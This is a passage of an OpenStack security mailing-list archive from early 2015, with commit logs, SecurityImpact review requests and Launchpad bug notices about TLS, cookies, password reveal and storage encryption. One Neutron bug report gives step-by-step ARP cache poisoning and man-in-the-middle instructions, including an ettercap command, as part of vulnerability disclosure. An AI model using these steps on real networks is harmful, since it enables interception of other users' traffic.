Fixes Hyper-V agent force_hyperv_utils_v1 flag issue WMI root\virtualization namespace v1 (in Hyper-V) has been removed from Windows Server / Hyper-V Server 2012 R2. Hyper-V compute agent now creates instances which uses root\virtualization\v2 namespace if the agent's OS is Windows Server / Hyper-V Server 2012 R2 or newer. Closes-Bug: #1344036 (cherry picked from 52de9395e5fe4f328f6dab0b35d660a700787c76) Change-Id: I874ade4456b92a63959a765c7851bcd001befa32 commit 74e0ba7e658fcd2c6d1b7a92dcee564098d0a1ff Author: Jeegn Chen Date: Sun Jun 8 16:23:36 2014 +0800 Fix live-migration failure in FC multipath case Currently, /dev/dm- instead of /dev/mapper/ is used to access multipath FC volumes by Compute Node and multipath_id in connection_info is not maintained properly and may be lost during connection refreshing. This implementation will make source Compute Node and destination Compute Node fail to disconnect/connect to volumes properly and result in live-migration failure. To fix it, /dev/mapper will be used instead of /dev/dm- to access multipath devices, just like iSCSI multipath implementation, and logic to preserve the unique (across Compute Nodes) multipath_id is also added. Closes-Bug: #1327497 (cherry picked from commit 3ea14e8a70a946dbb162ecafa848e4f2fa29772a) Conflicts: nova/storage/linuxscsi.py nova/tests/virt/libvirt/test_libvirt_volume.py nova/virt/block_device.py nova/virt/libvirt/volume.py This backport commit adjust oslo.i18n usage to oslo-incubator common code, due to we didn't have oslo.i18n in icehouse. And remove unused variable value dev_str in test_libvirt_volume.py, it should be deleted but not worth a specific commit in stable/icehouse. Change-Id: I17f15852c098af88afd270084c62eb87693c60d4 commit b61aa4d09889c0e10dcbdc8838b0bb1128b0af06 Author: Thang Pham Date: Thu Jun 5 11:43:18 2014 -0400 libvirt: Save device_path in connection_info when booting from volume If you boot an instance from a volume and later terminate it, the libvirt volume driver disconnect_volume method does not have the 'device_path' key in connection_info['data']. However, if you attach a volume to an existing instance and then detach it, the disconnect_volume method would have the 'device_path' key in connection_info['data']. Having the 'device_path' key would be useful for some volume drivers to determine the device path of the volume. This patch saves the 'device_path' in connection_info['data'] when _create_domain_and_network is called, so it could be later used. This commit also adjusts unit test to pass the check test. Change-Id: I8ebb5f3c2e7a81b11d776f8c0a15f3491ed273be Closes-Bug: #1291007 (cherry picked from commit d19c75c19d2de8b20e82e6de9413ba53671ad7fb) commit d72c0a4f03f56f6b24b86d3740fd721ef0a63080 Author: Alessandro Pilotti Date: Sun Aug 17 21:00:54 2014 +0300 Fixes Hyper-V boot from volume root device issue Checks that instances are booting from volume by checking the correct root device obtained from the block device info. Change-Id: I94941dfe96c1596c8e9b91df3d3d19d33ae7fe92 Co-Authored-By: Zsolt Dudas Closes-Bug: #1357972 (cherry picked from commit ea19fb10c5e09ff5df383607654ab9dc2791ec21) commit 82a13b30b8153ee4a282604fcfffd1a015365487 Author: Leandro I. Costantino Date: Mon May 19 19:58:47 2014 -0300 VM in rescue state must have a restricted set of actions Right now it is possible to pause, suspend and stop a VM in state RESCUED, so after the state is changed, it's not possible to trigger unrescue anymore since the original state is lost. This patch remove vm_states.RESCUED as valid state from stop, pause and suspend actions. The vm_states devref is also updated to reflect this change including the current reboot flow.( vm_states.RESCUED cannot be rebooted as per today code) This is a backport of 8ff170dc95bf3101fe38a2624e941bfa3b7c1138 . DocImpact Closes-Bug: #1319182 Co-Authored-By: Cyril Roelandt Change-Id: I531dea5a5499bf93c24bea37850d562134dee281 commit aeb71a88ae8d05ff6f5f3f092965f12369fec07a Author: Wangpan Date: Mon Mar 10 18:19:40 2014 +0800 libvirt: return the correct instance path while cleanup_resize If we resized a pre-grizzly instance with grizzly or later nova to another host, while the resize confirmation process, _cleanup_resize will find the instance resize backup dir and delete it, but a wrong xxx_resize dir like ${uuid}_resize, instead of the correct ${name}_resize will be found. This is because the instance is a resized one which original instance dir exists on another host(the dest host), get_instance_path method could not find the original instance dir on the source host, so the path with uuid will be returned, and the `target` existing check in _cleanup_resize is failed, then the ${name}_resize dir will never be deleted. Closes-bug: #1290294 Change-Id: I904b6751dec740e001f5ec29f637ef456528746f (cherry picked from b4964eb6a570e290545f95d45411dc8441985cd5) commit cce6d22c6430048d6789dec04b43c1483f4a0b8d Author: liu-sheng Date: Tue May 20 18:33:25 2014 +0800 Fix nova image-show with queued image Currently, the nova image-show command cannot be used with queued images, because they don't have certain attributes set yet. Nova will raise AttributeError, which causes a 500 to be returned from the API. Change-Id: I7d73b891545492e3e247eebdf02507cb630eb250 Closes-bug: #1321186 (cherry picked from commit 4c5dea6a5103a141b0ca13dcd57b32b3261180d1) commit aff80d58bb85f52d33d1562b76dfd6f2c8b025d3 Author: Chris Buccella Date: Sat Feb 1 07:05:11 2014 +0000 _translate_from_glance() can cause an unnecessary HTTP request After returning from a get() call to python-glanceclient, nova runs a translation function on the returned Image to get the data it wants. Part of this process is checking for an expected set of attributes, one of which is the deletion time ('deleted_at'). However, if the image has not been deleted, deleted_at key will not exist. This forces another call to glance to occur for the same image. A similar problem exists for the checksum attribute, which does not exist before an image is active. The fix here is to only consider deleted_at and checksum if they are expected to be present. Change-Id: I67b7dd16a94fe60d873c012f6bd246ab24500d5a Closes-Bug: #1275173 (cherry picked from commit 8fcefef5c6db3bb7f182df62de9c5bf986f97303) From gerrit2 at review.openstack.org Wed Jan 7 18:33:37 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Wed, 07 Jan 2015 18:33:37 +0000 Subject: [Openstack-security] [openstack/nova] SecurityImpact review request change I64859ad01120782fb17308aac3abb125597c3ea2 Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/115484 Log: commit deb6833db9089b5929382940691f98bf518410c6 Author: Solly Ross Date: Tue Aug 19 19:21:52 2014 -0400 Add VeNCrypt (TLS/x509) Security Proxy Driver This adds support for using x509/TLS security between the compute node and websocket proxy when using websockify to proxy VNC traffic. In order to use this with x509, an operator would have to set up client keys and certificates, as well as CA certificates, and configure libvirt to pass the appropriate options to QEmu (this is configured globally for libvirt, not by Nova). This is process is documented on the libvirt website. Then, the operator would enable this driver and set the following options in /etc/nova/nova.conf: [console_proxy_tls] client_key = /path/to/client/keyfile client_cert = /path/to/client/cert.pem ca_certs = /path/to/ca/cert.pem SecurityImpact DocImpact Implements bp: websocket-proxy-to-host-security Change-Id: I64859ad01120782fb17308aac3abb125597c3ea2 From gerrit2 at review.openstack.org Wed Jan 7 20:43:25 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Wed, 07 Jan 2015 20:43:25 +0000 Subject: [Openstack-security] [openstack/nova] SecurityImpact review request change I64859ad01120782fb17308aac3abb125597c3ea2 Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/115484 Log: commit 0b422ce6964baa2a6a36d3bd14cdf93f7c64fef8 Author: Solly Ross Date: Tue Aug 19 19:21:52 2014 -0400 Add VeNCrypt (TLS/x509) Security Proxy Driver This adds support for using x509/TLS security between the compute node and websocket proxy when using websockify to proxy VNC traffic. In order to use this with x509, an operator would have to set up client keys and certificates, as well as CA certificates, and configure libvirt to pass the appropriate options to QEmu (this is configured globally for libvirt, not by Nova). This is process is documented on the libvirt website. Then, the operator would enable this driver and set the following options in /etc/nova/nova.conf: [console_proxy_tls] client_key = /path/to/client/keyfile client_cert = /path/to/client/cert.pem ca_certs = /path/to/ca/cert.pem SecurityImpact DocImpact Implements bp: websocket-proxy-to-host-security Change-Id: I64859ad01120782fb17308aac3abb125597c3ea2 From 1375857 at bugs.launchpad.net Wed Jan 7 23:03:49 2015 From: 1375857 at bugs.launchpad.net (OpenStack Infra) Date: Wed, 07 Jan 2015 23:03:49 -0000 Subject: [Openstack-security] [Bug 1375857] Re: It's not possibile to pass the cacert to the swift store References: <20140930152151.17678.6371.malonedeb@chaenomeles.canonical.com> Message-ID: <20150107230349.4314.78866.malone@chaenomeles.canonical.com> Reviewed: https://review.openstack.org/125338 Committed: https://git.openstack.org/cgit/openstack/glance_store/commit/?id=6b2cdbf4e608e38a6471093c77e5dd5792ab8532 Submitter: Jenkins Branch: master commit 6b2cdbf4e608e38a6471093c77e5dd5792ab8532 Author: Andrea Rosa Date: Wed Oct 1 13:10:47 2014 +0100 Define a new parameter to pass CA cert file This change adds a new parameter for the swift store driver that allows to speficy the name of the CA cert file to use in the SSL connections for verifying certificates. This parameter is passed to the swiftclient in the creation of the connection. The parameter is called "swift_store_cacert". This change corresponds to change I4cbfae3c1ac84d6c85875d34a58dd2a87ae85d6f in glance. Change-Id: I5b356170ec82d033204e22f79c862201400a0a31 Closes-bug: 1375857 DocImpact ** Changed in: glance Status: In Progress => Fix Committed -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1375857 Title: It's not possibile to pass the cacert to the swift store Status in OpenStack Image Registry and Delivery Service (Glance): Fix Committed Status in OpenStack Glance backend store-drivers library (glance_store): In Progress Bug description: The swift store device defined in the glance store doesn't allow to pass the ca cert file. When the driver creates a connection via the swift client it is not possible to pass that value. That means that if we have swift running on TLS in some cases we have to set the insecure option equals to True as the client can't correctly complete the handshake as it fails on the verification of the cert. The fix I'd like to propose is to add a new parameter to define the ca cert file and pass this value when we create the connection via the swift client. To manage notifications about this bug go to: https://bugs.launchpad.net/glance/+bug/1375857/+subscriptions From gerrit2 at review.openstack.org Thu Jan 8 01:15:18 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Thu, 08 Jan 2015 01:15:18 +0000 Subject: [Openstack-security] [openstack/glance] SecurityImpact review request change I9236cc85f4e9881ac1aa35d69bc6761a59c1b6c8 Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/80178 Log: commit 451268aa3230c20a87265c92f52b1c530d65ec83 Author: Fei Long Wang Date: Thu Mar 13 13:30:05 2014 +0800 Ensure digital signatures are a minimum of SHA2 It would be great to enhance Glance to use minimum of SHA2 to do digital signature for FIPS compliance. In FIPS(FEDERAL INFORMATION PROCESSING STANDARDS) says the SHA-1 is not suitable for general-purpose digital signature applications (as specified in FIPS 186-3) that require 112 bits of security. In the case of digital signatures, SHA-1 does not provide the 112 bits of collision resistance needed to achieve the security strength. DocImpact UpgradeImapact SecurityImpact Closes-Bug: #1288545 Change-Id: I9236cc85f4e9881ac1aa35d69bc6761a59c1b6c8 From gerrit2 at review.openstack.org Fri Jan 9 09:07:18 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Fri, 09 Jan 2015 09:07:18 +0000 Subject: [Openstack-security] [openstack/nova] SecurityImpact review request change If3f88d8db4a726219573d0f1b65908408e3aa6a9 Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/139672 Log: commit 6c4c592ca3202f67521c7b0233f430cfa4be3531 Author: Matthew Gilliard Date: Fri Dec 5 16:14:52 2014 +0000 Adds ssl_overrides for glance client configuration We want to have a consistent way to apply ssl config to the various http(s) clients the nova creates. Following an ML discussion[1], this is approach has the glance client using the global options in CONF.ssl.* with optional local overrides. These are DictOpts in each client's config section, for example: [ssl] ca_file = /etc/ssl/ca_file [glance] ssl_overrides = {ca_file:/etc/ssl/glance_ca_file} The keys which can be overriden are: ca_file, key_file, cert_file. [1] http://lists.openstack.org/pipermail/openstack-dev/2014-December/052175.html SecurityImpact: SSL config of Nova's Glance client DocImpact: New configuration option as described Change-Id: If3f88d8db4a726219573d0f1b65908408e3aa6a9 From gerrit2 at review.openstack.org Sun Jan 11 20:10:04 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Sun, 11 Jan 2015 20:10:04 +0000 Subject: [Openstack-security] [openstack/glance] SecurityImpact review request change I9236cc85f4e9881ac1aa35d69bc6761a59c1b6c8 Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/80178 Log: commit 50c92adb245593583b6df41a442b2afa7c7cdb6c Author: Fei Long Wang Date: Thu Mar 13 13:30:05 2014 +0800 Ensure digital signatures are a minimum of SHA2 It would be great to enhance Glance to use minimum of SHA2 to do digital signature for FIPS compliance. In FIPS(FEDERAL INFORMATION PROCESSING STANDARDS) says the SHA-1 is not suitable for general-purpose digital signature applications (as specified in FIPS 186-3) that require 112 bits of security. In the case of digital signatures, SHA-1 does not provide the 112 bits of collision resistance needed to achieve the security strength. DocImpact UpgradeImapact SecurityImpact Closes-Bug: #1288545 Change-Id: I9236cc85f4e9881ac1aa35d69bc6761a59c1b6c8 From gerrit2 at review.openstack.org Sun Jan 11 20:13:03 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Sun, 11 Jan 2015 20:13:03 +0000 Subject: [Openstack-security] [openstack/glance] SecurityImpact review request change I9236cc85f4e9881ac1aa35d69bc6761a59c1b6c8 Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/80178 Log: commit 2bba25f4627bd641336692e4ce6e85d103bc8381 Author: Fei Long Wang Date: Thu Mar 13 13:30:05 2014 +0800 Ensure digital signatures are a minimum of SHA2 It would be great to enhance Glance to use minimum of SHA2 to do digital signature for FIPS compliance. In FIPS(FEDERAL INFORMATION PROCESSING STANDARDS) says the SHA-1 is not suitable for general-purpose digital signature applications (as specified in FIPS 186-3) that require 112 bits of security. In the case of digital signatures, SHA-1 does not provide the 112 bits of collision resistance needed to achieve the security strength. DocImpact UpgradeImapact SecurityImpact Closes-Bug: #1288545 Change-Id: I9236cc85f4e9881ac1aa35d69bc6761a59c1b6c8 From gerrit2 at review.openstack.org Mon Jan 12 03:27:48 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Mon, 12 Jan 2015 03:27:48 +0000 Subject: [Openstack-security] [openstack/glance] SecurityImpact review request change I9236cc85f4e9881ac1aa35d69bc6761a59c1b6c8 Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/80178 Log: commit 82c72056a1acb4d5ff191d60abc2024e2fa799ef Author: Fei Long Wang Date: Thu Mar 13 13:30:05 2014 +0800 Ensure digital signatures are a minimum of SHA2 It would be great to enhance Glance to use minimum of SHA2 to do digital signature for FIPS compliance. In FIPS(FEDERAL INFORMATION PROCESSING STANDARDS) says the SHA-1 is not suitable for general-purpose digital signature applications (as specified in FIPS 186-3) that require 112 bits of security. In the case of digital signatures, SHA-1 does not provide the 112 bits of collision resistance needed to achieve the security strength. DocImpact UpgradeImapact SecurityImpact Closes-Bug: #1288545 Change-Id: I9236cc85f4e9881ac1aa35d69bc6761a59c1b6c8 From gerrit2 at review.openstack.org Mon Jan 12 08:10:03 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Mon, 12 Jan 2015 08:10:03 +0000 Subject: [Openstack-security] [openstack/keystone] SecurityImpact review request change I03b9c5c64f4bd8bca78dfc83199ef17d9a7ea5b7 Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/130824 Log: commit 0a6a1f57bdf19138a7243cf783dfadfecafa2c3b Author: abhishekkekane Date: Tue Oct 21 04:10:57 2014 -0700 Eventlet green threads not released back to pool Presently, the wsgi server allows persist connections hence even after the response is sent to the client, it doesn't close the client socket connection. Because of this problem, the green thread is not released back to the pool. In order to close the client socket connection explicitly after the response is sent and read successfully by the client, you simply have to set keepalive to False when you create a wsgi server. Add a parameter to take advantage of the new(ish) eventlet socket timeout behaviour. Allows closing idle client connections after a period of time, eg: $ time nc localhost 8776 real 1m0.063s Setting 'client_socket_timeout = 0' means do not timeout. DocImpact: Added wsgi_keep_alive option (default=True). Added client_socket_timeout option (default=900). SecurityImpact Closes-Bug: #1361360 Change-Id: I03b9c5c64f4bd8bca78dfc83199ef17d9a7ea5b7 From 1274034 at bugs.launchpad.net Mon Jan 12 17:48:03 2015 From: 1274034 at bugs.launchpad.net (George Shuklin) Date: Mon, 12 Jan 2015 17:48:03 -0000 Subject: [Openstack-security] [Bug 1274034] Re: Neutron firewall anti-spoofing does not prevent ARP poisoning References: <20140129101504.12361.90017.malonedeb@gac.canonical.com> Message-ID: <20150112174803.11829.60315.malone@wampee.canonical.com> There is abandoned blueprint to implement security groups via OVS: https://review.openstack.org/#/c/89712/ OVS supports ARP filtering. It is rather elegant, because it accepts nw_src/nw_dst (IPs) for arp rules and check them against ARP payload (TPA/SPA). Etables brings more dependencies on neutron ovs agent. May be sticking to OVS only is better idea? -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1274034 Title: Neutron firewall anti-spoofing does not prevent ARP poisoning Status in OpenStack Neutron (virtual network service): In Progress Status in OpenStack Security Advisories: Invalid Status in OpenStack Security Notes: Fix Released Bug description: The neutron firewall driver 'iptabes_firawall' does not prevent ARP cache poisoning. When anti-spoofing rules are handled by Nova, a list of rules was added through the libvirt network filter feature: - no-mac-spoofing - no-ip-spoofing - no-arp-spoofing - nova-no-nd-reflection - allow-dhcp-server Actually, the neutron firewall driver 'iptabes_firawall' handles only MAC and IP anti-spoofing rules. This is a security vulnerability, especially on shared networks. Reproduce an ARP cache poisoning and man in the middle: - Create a private network/subnet 10.0.0.0/24 - Start 2 VM attached to that private network (VM1: IP 10.0.0.3, VM2: 10.0.0.4) - Log on VM1 and install ettercap [1] - Launch command: 'ettercap -T -w dump -M ARP /10.0.0.4/ // output:' - Log on too on VM2 (with VNC/spice console) and ping google.fr => ping is ok - Go back on VM1, and see the VM2's ping to google.fr going to the VM1 instead to be send directly to the network gateway and forwarded by the VM1 to the gw. The ICMP capture looks something like that [2] - Go back to VM2 and check the ARP table => the MAC address associated to the GW is the MAC address of VM1 [1] http://ettercap.github.io/ettercap/ [2] http://paste.openstack.org/show/62112/ To manage notifications about this bug go to: https://bugs.launchpad.net/neutron/+bug/1274034/+subscriptions From 1400872 at bugs.launchpad.net Tue Jan 13 01:58:43 2015 From: 1400872 at bugs.launchpad.net (OpenStack Infra) Date: Tue, 13 Jan 2015 01:58:43 -0000 Subject: [Openstack-security] [Bug 1400872] Re: Show password feature should be configurable References: <20141209205525.24719.53334.malonedeb@wampee.canonical.com> Message-ID: <20150113015843.11798.27092.malone@wampee.canonical.com> Reviewed: https://review.openstack.org/140862 Committed: https://git.openstack.org/cgit/openstack/horizon/commit/?id=afbca3d4310073b3a6bf1127890fe9d756ab5418 Submitter: Jenkins Branch: master commit afbca3d4310073b3a6bf1127890fe9d756ab5418 Author: Cindy Lu Date: Thu Jan 8 11:39:43 2015 -0800 Password reveal feature should be configurable Horizon has a password reveal eye button which allows the password field to be viewed in plain text. This is a security risk because a malicious user can check the OpenStack password at an unattended computer. Add new DISABLE_PASSWORD_REVEAL setting which is by default, False. DocImpact Change-Id: I21a2eaedbff4c1ee73d97c5674eca43c0258ca1a Closes-Bug: #1400872 ** Changed in: horizon Status: In Progress => Fix Committed -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1400872 Title: Show password feature should be configurable Status in OpenStack Dashboard (Horizon): Fix Committed Status in OpenStack Security Advisories: Won't Fix Bug description: Horizon allows the password field to be displayed in plain text. This introduces a potential security risk. Imagine a user leaving their desktop unlock, if the user saved their password on the browser, a malicious user could go into the Login page and display the Openstack password. The show password feature should be made configurable for operators who wants a more secure deployment of Horizon. To manage notifications about this bug go to: https://bugs.launchpad.net/horizon/+bug/1400872/+subscriptions From gerrit2 at review.openstack.org Tue Jan 13 04:25:39 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Tue, 13 Jan 2015 04:25:39 +0000 Subject: [Openstack-security] [openstack/keystone] SecurityImpact review request change I03b9c5c64f4bd8bca78dfc83199ef17d9a7ea5b7 Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/130824 Log: commit a9b60c628e0878e8fb325c1dfdb3504550fc233e Author: abhishekkekane Date: Tue Oct 21 04:10:57 2014 -0700 Eventlet green threads not released back to pool Presently, the wsgi server allows persist connections hence even after the response is sent to the client, it doesn't close the client socket connection. Because of this problem, the green thread is not released back to the pool. In order to close the client socket connection explicitly after the response is sent and read successfully by the client, you simply have to set keepalive to False when you create a wsgi server. Add a parameter to take advantage of the new(ish) eventlet socket timeout behaviour. Allows closing idle client connections after a period of time, eg: $ time nc localhost 8776 real 1m0.063s Setting 'client_socket_timeout = 0' means do not timeout. DocImpact: Added wsgi_keep_alive option (default=True). Added client_socket_timeout option (default=900). SecurityImpact Closes-Bug: #1361360 Change-Id: I03b9c5c64f4bd8bca78dfc83199ef17d9a7ea5b7 From swati.shukla1 at tcs.com Tue Jan 13 04:29:45 2015 From: swati.shukla1 at tcs.com (Swati Shukla) Date: Tue, 13 Jan 2015 04:29:45 -0000 Subject: [Openstack-security] [Bug 1369870] Re: The "message" cookie is not marked as "secure" References: <20140916063505.5162.66017.malonedeb@wampee.canonical.com> Message-ID: <20150113042948.11945.73895.launchpad@wampee.canonical.com> ** Changed in: horizon Assignee: Swati Shukla (swati-shukla1) => (unassigned) -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1369870 Title: The "message" cookie is not marked as "secure" Status in OpenStack Dashboard (Horizon): Confirmed Bug description: The message cookie is not marked as 'secure', as identified by the following security report. If might contain sensitive information, and would benefit from being marked as secure. --- Affected URL: https://Ip_address/settings/ Affected Entity: messages, django_timezone, horizon_pagesize, and horizon_language Risk: It may be possible to steal user and session information (cookies) that was sent during an encrypted session Causes: The web application sends non-secure cookies over SSL Recommend Fix: Add the 'Secure' attribute to all sensitive cookies To manage notifications about this bug go to: https://bugs.launchpad.net/horizon/+bug/1369870/+subscriptions From gerrit2 at review.openstack.org Tue Jan 13 21:19:19 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Tue, 13 Jan 2015 21:19:19 +0000 Subject: [Openstack-security] [openstack/nova] SecurityImpact review request change Idbe37922c5f944e3d567ce16913ce5d87af41fef Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/141485 Log: commit 0ead5d16c6902a0d80da5d5c0de41b3e42c6226d Author: Daniel Genin Date: Tue Jan 13 14:02:29 2015 -0500 libvirt: Disconnect dm-crypt on instance suspend/stop Strengthens protection provided by ephemeral storage encryption feature by disconnecting the dm-crypt device, which provides access to unencrypted disk, when an encrypted instance is suspended or stopped. Implements: blueprint stop-dmcrypt-on-suspend SecurityImpact Change-Id: Idbe37922c5f944e3d567ce16913ce5d87af41fef From 1404862 at bugs.launchpad.net Wed Jan 14 13:06:52 2015 From: 1404862 at bugs.launchpad.net (OpenStack Infra) Date: Wed, 14 Jan 2015 13:06:52 -0000 Subject: [Openstack-security] [Bug 1404862] Fix proposed to os-ansible-deployment (juno) References: <20141222115556.21788.73486.malonedeb@gac.canonical.com> Message-ID: <20150114130652.22047.21101.malone@soybean.canonical.com> Fix proposed to branch: juno Review: https://review.openstack.org/147133 -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1404862 Title: Horizon SSL configuration vulnerable Status in Ansible playbooks for deploying OpenStack: Fix Committed Status in openstack-ansible icehouse series: In Progress Status in openstack-ansible juno series: In Progress Bug description: Currently the Apache configuration for Horizon is very simple and therefore vulnerable to various forms of SSL and TLS attack vectors. The Qualys SSL test on the default setup results in a C grading. In order to ensure that best practices are implemented and anyone using os-ansible-deployment has a secure by default setup, this needs to be addressed. To manage notifications about this bug go to: https://bugs.launchpad.net/openstack-ansible/+bug/1404862/+subscriptions From 1404862 at bugs.launchpad.net Wed Jan 14 13:06:57 2015 From: 1404862 at bugs.launchpad.net (Darren Birkett) Date: Wed, 14 Jan 2015 13:06:57 -0000 Subject: [Openstack-security] [Bug 1404862] Re: Horizon SSL configuration vulnerable References: <20141222115556.21788.73486.malonedeb@gac.canonical.com> Message-ID: <20150114130658.21739.63024.launchpad@soybean.canonical.com> ** Tags removed: juno-backport-potential ** Also affects: openstack-ansible/juno Importance: Undecided Status: New ** Also affects: openstack-ansible/icehouse Importance: Undecided Status: New ** Changed in: openstack-ansible/juno Importance: Undecided => Critical ** Changed in: openstack-ansible/icehouse Importance: Undecided => Critical ** Changed in: openstack-ansible/juno Status: New => In Progress ** Changed in: openstack-ansible/icehouse Assignee: (unassigned) => Darren Birkett (darren-birkett) ** Changed in: openstack-ansible/juno Assignee: (unassigned) => Darren Birkett (darren-birkett) -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1404862 Title: Horizon SSL configuration vulnerable Status in Ansible playbooks for deploying OpenStack: Fix Committed Status in openstack-ansible icehouse series: In Progress Status in openstack-ansible juno series: In Progress Bug description: Currently the Apache configuration for Horizon is very simple and therefore vulnerable to various forms of SSL and TLS attack vectors. The Qualys SSL test on the default setup results in a C grading. In order to ensure that best practices are implemented and anyone using os-ansible-deployment has a secure by default setup, this needs to be addressed. To manage notifications about this bug go to: https://bugs.launchpad.net/openstack-ansible/+bug/1404862/+subscriptions From 1404862 at bugs.launchpad.net Wed Jan 14 13:09:13 2015 From: 1404862 at bugs.launchpad.net (OpenStack Infra) Date: Wed, 14 Jan 2015 13:09:13 -0000 Subject: [Openstack-security] [Bug 1404862] Fix proposed to os-ansible-deployment (icehouse) References: <20141222115556.21788.73486.malonedeb@gac.canonical.com> Message-ID: <20150114130913.21438.8739.malone@soybean.canonical.com> Fix proposed to branch: icehouse Review: https://review.openstack.org/147134 -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1404862 Title: Horizon SSL configuration vulnerable Status in Ansible playbooks for deploying OpenStack: Fix Committed Status in openstack-ansible icehouse series: In Progress Status in openstack-ansible juno series: In Progress Bug description: Currently the Apache configuration for Horizon is very simple and therefore vulnerable to various forms of SSL and TLS attack vectors. The Qualys SSL test on the default setup results in a C grading. In order to ensure that best practices are implemented and anyone using os-ansible-deployment has a secure by default setup, this needs to be addressed. To manage notifications about this bug go to: https://bugs.launchpad.net/openstack-ansible/+bug/1404862/+subscriptions From 1404862 at bugs.launchpad.net Wed Jan 14 13:09:22 2015 From: 1404862 at bugs.launchpad.net (Darren Birkett) Date: Wed, 14 Jan 2015 13:09:22 -0000 Subject: [Openstack-security] [Bug 1404862] Re: Horizon SSL configuration vulnerable References: <20141222115556.21788.73486.malonedeb@gac.canonical.com> Message-ID: <20150114130924.28081.18182.launchpad@wampee.canonical.com> ** Changed in: openstack-ansible/juno Milestone: None => 10.1.2 ** Changed in: openstack-ansible/icehouse Milestone: None => 9.0.6 ** Changed in: openstack-ansible/icehouse Status: New => In Progress -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1404862 Title: Horizon SSL configuration vulnerable Status in Ansible playbooks for deploying OpenStack: Fix Committed Status in openstack-ansible icehouse series: In Progress Status in openstack-ansible juno series: In Progress Bug description: Currently the Apache configuration for Horizon is very simple and therefore vulnerable to various forms of SSL and TLS attack vectors. The Qualys SSL test on the default setup results in a C grading. In order to ensure that best practices are implemented and anyone using os-ansible-deployment has a secure by default setup, this needs to be addressed. To manage notifications about this bug go to: https://bugs.launchpad.net/openstack-ansible/+bug/1404862/+subscriptions From gerrit2 at review.openstack.org Wed Jan 14 14:32:18 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Wed, 14 Jan 2015 14:32:18 +0000 Subject: [Openstack-security] [openstack/nova] SecurityImpact review request change Idbe37922c5f944e3d567ce16913ce5d87af41fef Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/141485 Log: commit 376083b8812fca9108ab704f63c6f5596a2db7c0 Author: Daniel Genin Date: Tue Jan 13 14:02:29 2015 -0500 libvirt: Disconnect dm-crypt on instance suspend/stop Strengthens protection provided by ephemeral storage encryption feature by disconnecting the dm-crypt device, which provides access to unencrypted disk, when an encrypted instance is suspended or stopped. Implements: blueprint stop-dmcrypt-on-suspend SecurityImpact Change-Id: Idbe37922c5f944e3d567ce16913ce5d87af41fef From gerrit2 at review.openstack.org Wed Jan 14 23:14:11 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Wed, 14 Jan 2015 23:14:11 +0000 Subject: [Openstack-security] [openstack/glance] SecurityImpact review request change I47229b366c25367ec1bd48aec684e0880f3dfe60 Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/144464 Log: commit a9733d85876436add23e765a73b80988ac80b162 Author: Zhi Yan Liu Date: Tue Dec 30 22:25:50 2014 +0800 Cleanup chunks for deleted image that was 'saving' Currently image data cannot be removed synchronously for an image that is in saving state. And when, the upload operation for such an image is completed the operator configured quota can be exceeded. This patch fixes the issue of left over chunks for an image which was deleted from saving status. However, by the limitation of the design we cannot enforce a global quota check for the image in saving status. This change introduces a inconsonance between http response codes of v1 and v2 APIs. The status codes which we will now see after the upload process completes on an image which was deleted mid way are: v1: 412 Precondition Failed v2: 410 Gone SecurityImpact UpgradeImpact APIImpact Closes-Bug: #1383973 Partial-Bug: #1398830 Change-Id: I47229b366c25367ec1bd48aec684e0880f3dfe60 Signed-off-by: Zhi Yan Liu From fungi at yuggoth.org Thu Jan 15 00:09:43 2015 From: fungi at yuggoth.org (Jeremy Stanley) Date: Thu, 15 Jan 2015 00:09:43 -0000 Subject: [Openstack-security] [Bug 1029950] Re: No limits on image size References: <20120727135033.27512.41736.malonedeb@gac.canonical.com> Message-ID: <20150115000943.21566.24809.malone@soybean.canonical.com> It's now (UTC) Thursday. ** Information type changed from Private Security to Public ** Changed in: ossa Status: Incomplete => Won't Fix ** Tags added: security -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1029950 Title: No limits on image size Status in 